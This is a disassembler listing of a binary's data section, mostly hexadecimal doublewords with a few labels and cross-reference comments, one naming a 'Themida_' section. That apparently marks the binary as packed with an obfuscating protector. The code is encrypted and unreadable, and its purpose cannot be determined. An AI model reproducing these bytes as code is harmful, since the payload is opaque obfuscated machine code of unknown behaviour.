29BA6EC6h, 0A575DB0h, 6C71290Ch, 0CDD28C6Eh, 0CDDBECCFh dd 0AB4E6142h, 7DA9AE59h, 721C67BCh, 0B89EE845h, 425913F7h dd 0BA54921Fh, 0EE99EC29h, 662002D4h, 0DA947A4Ch, 30F1D7D5h dd 0F0A88D4Eh, 54809A45h, 19586FCCh, 811807EDh, 0F8DFE39Dh dd 573DEFABh, 0AA54979Dh, 0AC2E59D8h, 86684259h, 0D20AFC73h dd 0D07BB218h, 81CED4CBh, 0DA15733Ah, 1469CA21h, 0D46D88B6h dd 31A353h, 0C6ED0000h, 0A14D6487h, 0E6FC29BAh, 0C7EBD8C2h dd 0CED427FEh, 8299967Ah, 5A03935Fh, 959AED2Eh, 0DA055F4Eh dd 207DDE21h, 0D4769CCAh, 0BAB753h, 2B010000h, 35748B45h dd 0BAA09F12h, 7E84D729h, 97513331h, 0F4AE9492h, 510BF1EFh dd 3CD40037h, 4E5C52A8h, 9BA05A40h, 0B0F3F9A4h, 29BA923Ch dd 4930F1D7h, 0EAEFA78Ah, 454348F3h, 0AEA5AA62h, 67415803h dd 60C2C880h, 0E9EEA88Eh, 99B08F91h, 5A6A4C76h, 657FD22Eh dd 4158D739h, 0C3C88067h, 4467C6CCh, 2677E60Bh, 2701186Bh dd 9F718B45h, 6119FCBDh, 0E1BA655Ch, 0E60F5E34h, 0DDB2E0C9h dd 6200000Dh, 0D4A6C07Ah, 491B35EDh, 0C092AC64h, 33051FD7h dd 287D9751h, 0EEA88ABFh, 641E02D4h, 0DD95784Ah, 510BF1C3h dd 496C5737h, 21D23168h, 2B029C0Eh, 0A3758F49h, 0EFE903BDh dd 0D9F04FD1h, 5AA03CB6h, 6A6FC22Eh, 0DA9F8A23h, 0FD52B321h dd 0CDE40746h, 0A921DA9Fh, 1C4A5056h, 5C53D4EBh, 530BE530h dd 8E726C6Eh, 9F2329D4h, 0B9h, 84452BE9h, 373CE79Fh, 989D5739h dd 0BAA59B51h, 5610F629h, 6F80653Fh, 9274F8BAh, 545A05A6h dd 803A20F2h, 0AA072A69h, 0D429BA22h, 0D62E7B81h, 0AAD6ED4Ah dd 0DA5E68CCh, 68C7CD97h, 5A297D45h, 96B0032Eh, 0A082A66Ah dd 1243BE6h, 26779F5Dh, 5731489Bh, 0CFA1BB75h, 8A492CEDh dd 0F2E9EEA8h, 0F9B39547h, 94CE754Eh, 7E67E60Fh, 0CFF50h dd 9E584000h, 13CBB284h, 8A4227F9h, 0FDB59E70h, 752F11E3h dd 68DD065Bh, 0E0B2CC86h, 562842FCh, 0CFA1BB73h, 35152FE9h dd 2F8A274Ah, 82F421D2h, 8F492BE8h, 0AABDA375h, 486B52ACh dd 29BA1B69h, 39BEC215h, 0A7C16C5Eh, 8B452BADh, 0E8A28886h dd 76B97CEh, 0D4353786h, 0FBE8C311h, 11BCBA7Bh, 61E5C80Bh dd 0D0B629BAh, 442AFC16h, 3DE8A083h, 9A543A38h, 0A1B29795h dd 31F296C8h, 0B4B964AEh, 0FA832E51h, 0A8FB29B9h, 6D5314F6h dd 0CB7AEB3h, 25F9407h, 55AA3BFh, 0F913CDB3h, 344CEF1Bh dd 970854h, 0D1520000h, 0FFD9F04Fh, 1A5F631Dh, 757F3435h dd 0A2C5242Ah, 2E59FE04h, 0C72A2F82h, 0FA4C6588h, 0DF3221D9h dd 0FA1796D9h, 0DB2621D9h, 0FA38799Ch, 7E6321D9h, 0F3CAC1C6h dd 0C8259AA0h, 0A25A3F19h, 4168969Ch, 4E8353D4h, 90000000h dd 1016D0B6h, 0A0CCE2EEh, 0AB7529BAh, 7052758Ch, 0E62E5AB3h dd 68427993h, 0CFC6CB83h, 33EDCFC9h, 0ED4AD62Eh, 7B33B3D6h dd 62B5267Ah, 82937648h, 0BCB8E696h, 4D31E310h, 8BE3E893h dd 6C8FA685h, 2E599FD2h, 0F5F71164h, 8D9h, 0AECC68Bh, 4E544B50h dd 21916FAh, 5A801FDFh, 1DFFD92Eh, 0EB3E5D63h, 5C16FAD4h dd 245C6057h, 68185A21h, 148959Bh, 21DA90ACh, 876C4691h dd 0FF54C9CFh, 0D4F665A1h, 248E53h, 6F9B0000h, 950A6B3Ch dd 8CF3A75Fh, 9DEE7074h, 0E2092B31h, 29BAA0CBh, 3E6C0D7h dd 494F464Bh, 0FFFC3C1Fh, 4FD1B5FFh, 60B6D9F0h, 962E5ABDh dd 708FBE6Ah, 0ECF252AFh, 2E757ACDh, 21DA9B7Fh, 51005DBEh dd 0D4DA9277h, 0D4E390CEh, 4F0BB53h, 0C6050000h, 484D05ECh dd 8FD94B51h, 273EFD23h, 5AA56204h, 0C2E5A42Eh, 21DA99EFh dd 0E321DB87h, 7E1844Dh, 15FCB15Ch, 789F01D7h, 0D4EB48D8h dd 34C8E9B1h, 5FF31F80h, 0C5CF6F10h, 9B163950h, 0E37FF56Ah dd 186B8A90h, 0D655BB13h, 0A8399CBFh, 63BD8494h, 2A13C57Fh dd 0D6B0C772h, 4A1C36F0h, 30D1AA64h, 0CD94331Ch, 0ACAB6E4h dd 8D750000h, 0E7B9D3h, 775C2E48h, 0EAD3A5BFh, 64461832h dd 923B90AAh, 0E701BB9Dh, 5D773115h, 0D6F0A88Bh, 4A641E04h dd 555C7F6Ah, 2121D22Eh, 452B15AFh, 0E22E868Bh, 270B2E45h dd 112E5AA4h, 93995337h, 300A2174h, 527E954Dh, 1C41EE0Fh dd 10F5A7DDh, 565C5358h, 873F22F4h, 0D763B82h, 0D1DC21DAh dd 6521DA1Dh, 1DAE0326h, 9ED21DAh, 7C534A4Fh, 41CF2329h dd 1AA8CBE2h, 64267A0Bh, 0E9EEA88Ah, 7ACDECF2h, 0F47F2E75h dd 5DBE29B9h, 467CAA00h, 90BC5434h, 6776E078h, 34BD614Bh dd 0D60F4246h, 0EDF2AA93h, 0C1454BF6h, 22h, 6487C60Bh dd 29BAA14Dh, 0ABB06A4Eh, 848ADDB4h, 2C43E030h, 5AB70D09h dd 13186B2Eh, 20E5h, 4FD17B00h, 474B05E9h, 9618D12Eh, 475E09AEh dd 5A6D2E24h, 492E882Eh, 42EDA58Ah, 969B463Dh, 8B452B70h dd 0CD327B2h, 0A1CFB8E6h, 9CCh, 0B7D18B73h, 2C46FEE5h dd 0A3BD755Ah, 1630E8D1h, 8EA86244h, 0B99B9039h, 2F13E5FFh dd 0A6895B75h, 1C02D4EEh, 7D684862h, 0D22D575Ah, 13AD1F21h dd 0D9F04FD1h, 0F5B64DADh, 4E54E933h, 428ACCEFh, 0D2AC2E5Ah dd 0E23237EFh, 4D4E321Ch, 9FA550B4h, 2A282D80h, 779D8344h dd 0DA145D54h, 1BC61921h, 0F33B5670h, 4507110Dh, 50A83E19h dd 71773F60h, 1933F21Dh, 0ED0423EDh, 70752F13h, 0F1147379h dd 0DAEE161h, 583E18D7h, 0A7A2999Eh, 26EDA0Ah, 71762174h dd 934B340Eh, 0F4AC938Dh, 367B9EDDh, 40026EDAh, 5985E7EDh dd 3E6178B7h, 70EC784h, 3BAB4EFAh, 0A14117C5h, 0AC5702BAh dd 874D60A7h, 8FF0090Fh, 0FCAEDC32h, 35C9749Fh, 13000001h dd 0D9F04FD1h, 5A83A0B6h, 0BEC3162Eh, 620DAC0h, 8F944E34h dd 1176E648h, 47214007h, 13F6A860h, 83E0555Bh, 7F995339h dd 0CF876E48h, 0D3CDD3CAh, 0E72E33EDh, 0EE467C47h, 8ADC315Eh dd 99D0EAA4h, 1B21DBBFh, 7C813B21h, 2A41FE24h, 0ADB26C50h dd 6914CCAFh, 0B0E10463h, 8621DA7Bh, 23ED1933h, 74CAED04h dd 2267A64h, 847AAAFh, 0BA92CCE5h, 595FB229h, 0A8BF795Fh dd 4BD6E7CEh, 0EDBB0510h, 0F95B610Ch, 516083C2h, 2D29BA7Dh dd 8934ECD3h, 0E9A38983h, 195581E4h, 0B88A31EAh, 0E5C4070Dh dd 0CE29B9A8h, 14FA4CA1h, 0EE25405Ah, 1F5DEDA0h, 491B35F0h dd 6692A963h, 73319377h, 0D11E2449h, 0A876778Ah, 257AAF3Bh dd 1933EDD3h, 184E6147h, 8A212A1h, 22858A35h, 7E8744F6h dd 181E01EBh, 0C8DF5CC4h, 10C8AF89h, 6D270D0Bh, 0C2C67168h dd 0EC21382Fh, 2E71774Ch, 3C4723B8h, 85C4DB2Eh, 0C7144F62h dd 0A74CFA33h, 0DFA8DC5Eh, 0DC5AE08h, 60661108h, 6588C7FEh dd 33C78A4Ch, 0A5C8DF32h, 33C78A0Ch, 0EF191F72h dd 54h, 0D1896E48h, 0ADCFD5CCh, 0D9F04FD1h, 5AB760B6h dd 4F2AD62Eh, 9850336Dh, 0DD989C93h, 0C908EB55h, 0C0CBDD36h dd 67656A15h, 8AAEC880h, 0EC324F30h, 0D6F9384Fh, 21D9FDDBh dd 0EB4A50A3h, 674A6DACh, 0F21D9FEh, 6E280ABCh, 296C7269h dd 21D9FD90h, 659393E6h, 748B452Bh, 0F9FEB89Ah, 6E9AFC02h dd 2F6E85A2h, 0BAA0A50Ch, 0CC7ED129h, 31282DE5h, 85A9CC2Bh dd 0F32E5A84h, 0B4A89A0h, 0DA7BC9E8h, 6762B521h, 21DA7C4Ah dd 0D7EA8834h, 5E895BE4h, 0F4EADB3h, 0A78D4C35h, 0AE9042EDh dd 0F2F8EFF4h, 745615F8h, 0A7BEB5BAh, 0D9CA2D84h, 4BF64921h dd 0C47C5F31h, 7AB967BFh, 644A2463h, 0A8AEA5AAh, 79CDCD65h dd 5B60B326h, 0B9DE9914h, 0BB78A829h, 0CC4181A4h, 64B72E59h dd 0D190734Dh, 858B36EEh, 7396D538h, 21D9B43Eh, 9CDFE538h dd 21D9B411h, 0EAEFA78Ah, 4C5109ECh, 0BF025F20h, 0A88A64AFh dd 0ECF2E9EEh, 916B1A77h, 5C43F5AFh, 6A989EA4h, 8553D407h dd 18h, 0F04FD1CFh, 0B760B6D9h, 83D62E5Ah, 21507Eh, 0CFA90000h dd 6282EE6h, 500AECC6h, 8550544Bh, 0F93B3D3h, 66AAFE04h dd 0C38FB2C9h, 3D2E5A51h, 2BBFE5EAh, 2DB28B45h, 0C2E60CD3h dd 676ABD9h, 0E1C90000h, 543B0D27h, 0CBB0829Ch, 3E27F913h dd 0B89A6C86h, 268FE4FEh, 3B550FF1h, 0B1CB8569h, 2A44FCDFh dd 9EB87258h, 1B0D3BEh, 7D21D22Ah, 0B2B3710Bh, 769922EEh dd 29BAA13Bh, 2E45F043h, 5AA55B0Bh, 954A9D2Eh, 1C73C3AEh dd 1D1A06E4h, 78C1DA06h, 3CD7DB6Bh, 0FAB4D736h, 7C68B471h dd 44CC2429h, 18ADD0E7h, 8E6C1465h, 0ED985234h, 6119FCD6h dd 5F655Ch, 6C864026h, 0DED3F635h, 98641496h, 989D553Eh dd 0F6F0F6A1h, 7E7D5610h, 97ABB2DDh, 5DE80AEh, 79610000h dd 0ECD3A5BFh, 63481A34h, 0D6BF91ABh, 5032041Eh, 0BE277C96h dd 0D3EDA789h, 49631D01h, 0C2DC9477h, 36500AF0h, 69486B56h dd 1521D229h, 452B09A3h, 0D2B9B28Bh, 0EDD6E60Ch, 59FBFh dd 0FEB8A000h, 732B12E4h, 0EAA28759h, 5D15FED0h, 0D58F7143h dd 0C87D66BBh, 40122CE6h, 0B688A25Ch, 2F011BD3h, 95758F49h dd 292A87AAh, 0E25421D2h, 6487C648h, 29BAA14Dh, 55B57D29h dd 0D491439Dh, 43292329h, 0E42C8489h, 0C5F13047h, 0AC46A61Ch dd 0B5D8EFF3h, 29BA15FCh, 0E6292F82h, 2E5243BEh, 805A71C4h dd 0A9CCE39Bh, 21D1BC08h, 0B3151B6Eh, 839A9987h, 71D29E60h dd 2E459826h, 0ADB36B54h, 9BBEFD60h, 29B1AE16h, 0C4070D60h dd 29B1ADE9h, 4D2F0954h, 0BB188D93h, 3C153965h, 0A25254h dd 0B39C0000h, 221EFB3h, 0A59EC8EBh, 6C982E5Ah, 394F8861h dd 69888E03h, 0CC2A87AAh, 15421D9h, 0EDBAA156h, 38DEDCDDh dd 11344BE8h, 6572C089h, 545D80BFh, 2A5AB2B3h, 5FB2D1D7h dd 211E025Ah, 0EFEEE70Ah, 0C9085F51h, 0D6100BA6h, 9207360h dd 0D60FCBE6h, 5A60B360h, 0F7D1E83Bh, 6B3D5711h, 0FF2CB85h dd 20AEF164h, 4920937h, 0C5AD0000h, 381FF10Bh, 0AF946680h dd 220BDDF7h, 9C7E506Ah, 4A73C8E2h, 1F39F3D5h, 95AF694Dh dd 0E28E0C3h, 829C563Ch, 1D94B7A2h, 5921D228h, 0A3FB4DE7h dd 91000000h, 7F9E9AC6h, 74B82DB0h, 39F61A6Eh, 55B5FF22h dd 78CB2E52h, 0E7A18761h, 5B15FBCDh, 1512FE56h, 27DAD2FEh dd 0E0C0D964h, 52587BDAh, 0CC267202h, 5AB5DEA0h, 0C1B8BD75h dd 0DECDDDBDh, 7B5FB9D8h, 0AEC5BCC1h, 0B25E268Bh, 52FD5029h dd 0C2BF54Dh, 78E0D2F5h, 0EA962E52h, 6BE347D9h, 2C6613D8h dd 25E0E288h, 19F6CF7Ah, 2EEDF523h, 3EA1745h, 6D550000h dd 0E0C799B3h, 573C0E28h, 0CAB3859Fh, 4426F812h, 0B21B708Ah dd 0C7E19B7Dh, 3D5711F5h, 0B6D0886Bh, 2A44FEE4h, 753C5F4Ah dd 121D226h, 0CFE2F58Fh, 8329BAA0h, 29BAA12Ah, 9FCDE00Ch dd 9C061B7Bh, 61DE4296h, 4F310B4Ah, 0D4409095h, 0AB4D824Eh dd 0E4272DD8h, 2E51D5C0h, 0FB5E63B6h, 0A1899BCh, 803121D2h dd 8236BA82h, 5357AA81h, 0BF66D5D8h, 423C420Eh, 0F2C9A25Ch dd 0BEDF535h, 366F422h, 0F1D90000h, 644B1D37h, 0DBC092ACh dd 4E370923h, 0C8AA7C96h, 369FF40Eh, 4B651F01h, 0C1DB9579h dd 3A540CEFh, 0AEC88268h, 0F1C0E3CEh, 8D21D226h, 452B811Bh dd 7D48748Bh, 0E2D1EB3Fh, 0E8A28436h, 99E6ECE3h, 4960DF41h dd 5A5E3026h, 452C862Eh, 0ADC8E28Dh, 2EC78883h, 0E0388DB9h dd 749D2132h, 7F92746Eh, 1336411Dh, 10BD079Eh, 0A88185D8h dd 2640EB57h, 0B3B87254h, 5F79B45Bh, 3ECC665h, 0FCB4994Bh dd 0FA00F7h, 0B973591Ah, 250B090Eh, 0FB25516Bh, 0EE995335h dd 0A74AB4D7h, 79CC2E5Ah, 9A802D74h, 5CBD21DAh, 0EE115007h dd 21DA9AC3h, 5C6268BBh, 53D4E02Eh, 4349h, 4FD19300h, 3CB6D9F0h dd 0C22E5AA0h, 9FD1E003h, 53AD21DAh, 5C07B26Ah, 0CB856B45h dd 3B1578C5h, 0AA2E4152h, 7038F920h, 0A21EC1C5h, 0B3922C50h dd 3F436AADh, 99FA21DAh, 88B8E644h, 0B8D353D4h, 1D000000h dd 868B452Bh, 0E7ECA688h, 0DA3A5884h, 2691B354h, 86402620h dd 779D8381h, 0B9C25D54h, 0D9BF1929h, 0AFC9741Fh, 0B9C65894h dd 13CDB329h, 1B4127F9h, 0B9C5B9F8h, 0C772C529h, 89A66AC2h dd 0A7D74F72h, 3E912E59h, 0B28F824h, 2525D1F4h, 10632677h dd 833D1FF9h, 0F1A9926Ch, 5CFAB7DAh, 318429B8h, 15F7C92Bh dd 16B1825Bh, 0E5CEE60Fh, 1F7B7h, 0A6604800h, 1BD3BA8Ch dd 924A2F01h, 5BDA678h, 7D3719EBh, 70A50E63h, 0E8BAD48Eh dd 5E304A04h, 0D7A9C37Bh, 3D1D37F1h, 24822F52h, 8AFC21D2h dd 8F492BF0h, 0FCBDA375h, 0B6705413h, 2208060Bh, 0C16C6368h dd 0D102FC16h, 0B6D9F04Fh, 2E5AA03Ch, 236A6FC2h, 21DA9F8Ah dd 9FFD52B3h, 53D4EB63h, 0EF8Ch, 87C6D600h, 0BAA14D64h dd 0E8CF2929h, 857F8530h, 0E2E0E59Fh, 552F4600h, 0BAB1B66Eh dd 0CC2067B4h, 229BAA4h, 8080C6D6h, 191D9FEAh, 5453B72Bh dd 332D33C4h, 0A779934Dh, 0AA0207C1h, 0FB1E5D66h, 29BA0BB6h dd 3F726DC0h, 0F729BA0Ch, 0BA0BDDD4h, 6F469929h, 1B5A711Ch dd 115A25EFh, 61780CEFh, 0BA2C733Eh, 0B2B80B29h, 5A0DB76Fh dd 0F32712Eh, 21DA4AA2h, 0E19982DCh, 0BE113036h, 8BA878A4h dd 0C2065174h, 31842677h, 0A45E401Ah, 9379538Ah, 0D7DDD4D9h dd 563AFBDDh, 0B299979Ch, 0CBA44FFAh, 0E60FC290h, 0E90A3821h dd 56000000h, 0C89AB46Eh, 3D0F29E1h, 0B486A058h, 27F913CBh dd 1C718B45h, 0E29C7EB3h, 5812F6C8h, 0D1896C3Eh, 45FFE5B7h dd 3D604B2Bh, 21D22474h, 2BFE980Ah, 9E788F49h, 6FD02BCh dd 0E6CC9E00h, 7F843C25h, 0C9C3DD88h, 868B452Bh, 0CEE8A288h dd 1CD4BD97h, 885EC216h, 0F1147329h, 29B9BAC0h, 0DE5F63B6h dd 3FF7DA82h, 9498433Ah, 1972A15Ch, 0BAD17C48h, 529F1997h dd 0F50C5F2Eh, 5D5477B6h, 1921D243h, 42E6CBC6h, 3D9021D2h dd 4887EA37h, 0D2428C25h, 999FF221h, 0E5FFB99Fh, 6E732D13h dd 0AC025E27h, 8F698850h, 0BADDF4ACh, 0B2F402F7h, 0B1262C7Fh dd 6A240A5Ch, 0DC947953h, 0BCA274D6h, 16FFFD02h, 67A67F05h dd 63D2FC94h, 167276A6h, 0C1C67182h, 0F7419ECBh, 66405711h dd 61C3C981h, 0EAEFA98Fh, 3BCh, 66245200h, 8489432Bh, 0E1E6A086h dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h dd 2025DDC2h, 7E833B22h, 4FB8686Dh, 14890000h dd 0E0895024h, 405h, 4E88300h, 5C240487h, 50243C89h, 405E089h dd 83000000h, 48704E8h, 0C895C24h, 6EBD6824h, 3C8B07E8h dd 4C48124h, 54000000h, 83240C8Bh, 0B85004C4h, 8, 3889C801h dd 8324048Bh, 34FF04C4h, 0C4835924h, 243C8B04h, 81E38953h dd 4C3h, 4C38300h, 5C241C87h, 0F80232E9h, 0B81E55FFh, 7E87E39h dd 0E0FFC503h, 18EF13C3h, 484C3E9Ch, 3937EE63h, 2ED58A08h dd 76D30150h, 11E0123Bh, 43D7373Dh, 53D22F2h, 20766FA0h dd 19901B02h, 30813DC2h, 28D82E11h, 1BC92EE2h, 2FE22DB2h dd 78101817h, 4E5A839Dh, 988EB1Bh, 197755FFh, 779423F5h dd 65BCBD45h, 4206678Fh, 63A1CE48h, 7FE28D8Dh, 8D8907E8h dd 7E03109h, 17CDBD89h, 8D8907E0h, 7E01815h, 18119D2Bh dd 85C707E0h, 7E02049h, 6A64h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 9FC35040h, 8E9h, 68A80D00h dd 0EAF4BA02h, 29852944h, 0C707E02Bh, 0E022C585h, 7, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0B950160Eh, 0BE45DA41h, 0ACB31B2Ch, 68B0Fh, 8D290000h dd 7E02331h, 6D5B5FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0FD68B9C3h, 7C2F3CDCh dd 0CDBD8B1Bh, 0FF07E017h, 0E0209195h, 6DBD8907h, 6A07E008h dd 0A995FF00h, 8B07E018h, 6469EBC0h, 581C2B32h, 8F71D240h dd 0C18CBFC4h, 4BEAE540h, 4711A1h, 1319C043h, 41E8D414h dd 9565247Bh, 18BFF09Eh, 0CB185E72h, 8FB20A4Ch, 2E4BD9FFh dd 0E65ED801h, 8CF65BF7h, 0C6F8546Eh, 1C8D1CEEh, 0BEAC92DAh dd 0E98A8435h, 0DF25C916h, 801BB06Bh, 0D551A426h, 421BFA4Bh dd 4B9EDEA2h, 0C6163C55h, 5534F5ECh, 981BF2Fh, 13E9h, 41950D00h dd 3Ch, 3 dup(0) dd 523E9h, 0F6B09800h, 6B230ADCh, 0E29A7F51h, 550DF6C8h dd 0CD87693Bh, 0C0755EB3h, 380A24DEh, 0AE809A54h, 27F913CBh dd 8D6D8741h, 21327FA2h, 0DA4C21D2h, 3ECC640h, 9D4F464Bh dd 0FCF6FCB4h, 7CB50316h, 6D52EA99h, 77FABC2h, 0EF2F2F0Dh dd 1DC88069h, 0EACCCA17h, 5E441630h, 623C9FA4h, 0C5BCC179h dd 25DFC5BFh, 0FDE3BD20h, 41473E43h, 0BDA16047h, 565B13FCh dd 0B8AFB45Fh, 7BCAF60Dh, 292B0500h, 0B629767Ch, 0F4DA2C81h dd 6B4E203Ah, 0E4C799B3h, 98C4272Ch, 0BFDAA5ACh, 2A242A00h dd 89878C46h, 0EDDB90A3h, 9D0B0AD5h, 0CEFEDF2h, 2C594F54h dd 0B5E28CD7h, 732B0E58h, 0E7A18759h, 0D5139BE2h, 0E21329B9h dd 26F32F8Dh, 5E1C5434h, 29000000h, 0ACB16B4Fh, 630EC8AEh dd 452B3B5Dh, 3CE79F84h, 16FAD437h, 9C13565Ch, 8829BAA0h dd 66A4FA57h, 915434EAh, 1, 8C442BDBh, 0EAA28987h, 3FFEE7E5h dd 0A69DA25Ah, 4E83F6FBh, 0AFC0A7F1h, 0C6A942EFh, 0E12090Eh dd 9CBFE7D8h, 29BA6A15h, 0B8630E61h, 25E6CC9Eh, 0C2DC8741h dd 8F492BC8h, 0EDA58C8Ah, 734D80E8h, 4224D68Eh, 868C8388h dd 886ABC11h, 0FCE2B4CEh, 9A9F593Bh, 7E1F8A3h, 1360661Eh dd 73783015h, 359B617h, 5434E8D7h, 0A6674B25h, 0A0106C0h dd 5D635A5Fh, 70D9h, 492B2300h, 10203636h, 0E5C7277Bh dd 842F262Bh, 0F1D6D4D9h, 5707AACDh, 1C6F29BAh, 0C4F96C71h dd 813B1D6Fh, 0F9B39567h, 550DF6F4h, 0B56D5250h, 17CFB2B0h dd 0C61AA12h, 0F350B1C1h, 34A2719Dh, 5C9A54h, 7BA70000h dd 51BF633h, 6A8C92EEh, 8A8F492Bh, 0DAF1A98Ch, 0A139789Bh dd 0F24529BAh, 0CE6D9FECh, 545911F4h, 8DE2575Dh, 859F593Bh dd 8C442B8Bh, 0FDE04975h, 3010A58Ah, 1896DD2Ah, 0C29BA99h dd 0FA2886DBh, 3A5434E2h, 0B9F38F0Eh, 959B1A18h, 911h dd 60441E00h, 5500B89Fh, 462B2D4Fh, 1538778Eh, 29BAA09Ch dd 3C898FE2h, 999E583Eh, 0E5608CA3h, 545D8017h, 2A29BA48h dd 0FC85D3D7h, 0B36B5002h, 91DB38ADh, 0AEDAF4ACh, 8BAEC562h dd 2E5A1BDFh, 0C3C1C619h, 370923DDh, 0A6809751h, 0A0106C0h dd 3F70B704h, 2821DA1Ch, 0E12B5D89h, 46124A43h, 0F5FBA660h dd 0F3D92380h, 0E6914932h, 114FACCh, 7FC35A9Bh, 989D480Bh dd 0F5FAB49Ah, 9E805A8Dh, 7AACDE4h, 6F21D9D0h, 4CA1161Ch dd 435A14FAh, 0C9CE8669h, 8C6ACCD2h, 53D43B5Eh, 15E79h dd 24478600h, 21D9C38Dh, 6E9096E9h, 0D9F04FD1h, 5A8720B6h dd 573C962Eh, 0F1EFF49Fh, 6537510Bh, 0C2C0C57Fh, 0B51D22DCh dd 0DFC5176Ch, 95D40B25h, 0DA7B3F72h, 0FBDD3721h, 9A453C41h dd 50523696h, 0D9DF5EE8h, 0D46497D3h, 75C053h, 0C60A0000h dd 484E08ECh, 0F9102DF4h, 0BF0CB7CDh, 0F5FBDDB4h, 0F5185796h dd 29BA8DBCh, 0D1E003C2h, 0AD29BA8Dh, 66A9AF5Ah, 56454B6Bh dd 5EDB27D3h, 96F80113h, 15FAD4EBh, 0C30A575Dh, 0A9BB20EEh dd 70CC4ADh, 78612009h, 121015C0h, 7970752Dh, 6DBF145Dh dd 0D3CACF89h, 2A874828h, 839A9B86h, 45DE7160h, 607ACDD6h dd 5189FD29h, 0EBC95A1h, 9DDE08h, 0D1740000h, 0FFD9F04Fh dd 0FE5D631Dh, 5AA4BFDBh, 6166B92Eh, 0A9C37D63h, 3237F1D7h dd 0DA9CE1EBh, 0E09A7C21h, 3EF6DDDBh, 9A523B39h, 236EC3F0h dd 205F9E3Dh, 0DA9CB4FDh, 7C77CA21h, 21DA9D35h, 73E8EE41h dd 2CE6CC1Eh, 0FD3AE612h, 1C9FC3E6h, 86D92672h, 61441E81h dd 1E41A4A9h, 29B21C93h, 0E7ED98EBh, 0BEE107EDh, 29B21CF3h dd 0FE21388Bh, 29B21CB3h, 0C8CD78CBh, 0A448A5D2h, 0CEA8BF7Ch dd 0CC2B31E9h, 13CDB38Dh, 9C98CA0Dh, 84DE2E49h, 7FE2E79Fh dd 0DA9D555Ch, 23CE2121h, 0D1645E78h, 0A922974Fh, 9C1D924Ch dd 9557B629h, 0B45F0A20h, 9F845E9Dh, 9B69618Eh, 3BE60661h dd 2270F235h, 93E62E51h, 97AA908Eh, 36259EE9h, 41EC9CFh dd 8E09A1CDh, 0EA7DA931h, 4A04EAE4h, 0BC13FE45h, 0E61B0A2Ah dd 98593F89h, 0FCF3F8B2h, 7A603A51h, 0BEC4BBC0h, 0EAA48A5Ch dd 0C4A882E5h, 0BB661E03h, 666C2409h, 0DBC4836Ch, 7C271E23h dd 0FF548177h, 0F30DC7ADh, 967A3B21h, 35E0D7DCh, 30230h dd 24980000h, 89432B66h, 0E6A08684h, 4800E3E1h, 0A7614543h dd 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h dd 54526D7Eh, 4C2815Ah, 83000000h, 148704EAh, 0EE685C24h dd 89000017h, 90682414h, 89000054h, 0BF57240Ch, 65292B85h dd 0ABE8F781h, 0FA8962C1h, 4EC815Fh, 89000000h, 4812424h dd 424h, 0EC835900h, 24148904h, 8B08418Fh, 8952240Ch, 4C281E2h dd 81000000h, 4C2h, 24148700h, 2434FF5Ch, 4C4835Ah, 0F7FB52E9h dd 0B096C0FFh, 0B150DE9Ch, 0E8851EB8h, 0FFC50307h, 35FB01E0h dd 208F131Bh, 0E14EDC5Ch, 50B7FA07h, 498D8D0Ch db 86h, 0E8h, 7 byte_5D4D5B db 0Fh ; DATA XREF: ___:off_43DCA8o ; ___:off_43DCBCo dd 8D89C7BFh, 7E01815h, 13F5B589h aREiRXb db 'à',7,'Ç…I à',7,'xb',0 ; DATA XREF: Themida_:0055D91Eo align 4 dd 0FE9h, 0B7A77B00h, 0BEC7C1FDh, 77EFD7BEh, 0E6A43D4Dh dd 22C585C7h, 7E0h, 8E0F0000h, 21h, 0F9D8BE60h, 14E810A6h dd 3B000000h, 55AD6B2h, 2ADA4456h, 1567D184h, 0E1577E57h dd 58A54B4Eh, 0A1B5FF61h, 8B07E007h, 0E02FF185h, 9195FF07h dd 6A07E020h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 1CAAC350h, 0FA85CFA9h, 6A3D95h dd 18A995FFh, 0C08B07E0h, 579D1BEBh, 1D3FB9B6h, 420EDFA2h dd 6C9563D7h, 8CF8EA20h, 819151A8h, 0F69BB0EBh, 10EBCCh dd 3 dup(0) dd 8B000000h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 89E48D74h, 0BD83FC53h, 7E006B1h dd 83097500h, 0E001C5BDh, 19740007h, 0C08B5350h, 42DB8h dd 0F5858900h, 8D07E020h, 0E2BC629Dh, 5BD3FF07h, 0C5BD8358h dd 7E001h, 53501774h, 42DB8h, 0F5858900h, 8D07E020h, 0E2B9519Dh dd 5BD3FF07h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 68B0FF2h, 8B000000h, 0E01C95B5h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 353CA2E8h, 8BF877CAh, 55006AC0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0F9DE9706h dd 0BFB3D5BAh, 0F3B70F00h, 2CD98D8Bh, 6A07E0h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0F618C3C3h, 2B07B1D3h, 0E02891B5h, 0F98307h, 7C840Fh dd 9D890000h, 7E000ADh, 2C3D8B64h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 4FBEC355h, 8BB78012h, 0E01555B5h, 3810F07h, 0F000000h dd 0FF0BF0B7h, 38840Fh, 29500000h, 0E034759Dh, 3F8B5A07h dd 8B0Fh, 14E90000h, 1C000000h, 0B8B18A9Ch, 1591DD22h dd 82DBF451h, 73CC1849h, 32678A42h, 8D8BBAC0h, 0AAF333DEh dd 2CE9958Bh, 493507E0h, 0BA535041h, 62FA7B19h, 75985C6h dd 6A4707E0h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 2445C355h, 9E241E3Fh, 13E9B1h dd 0E5610000h, 4462B871h, 10BF38B6h, 85192A01h, 0A880FDC4h dd 0E8D5B205h, 4, 0DCD6882Ch, 90BABA66h, 24448B50h, 48B0F04h dd 66000000h, 8BEFF2BEh, 4FB8BE00h, 44896EA7h, 52500424h dd 4FB5BF60h, 5E521F9Ch, 66310F61h, 585AF38Bh, 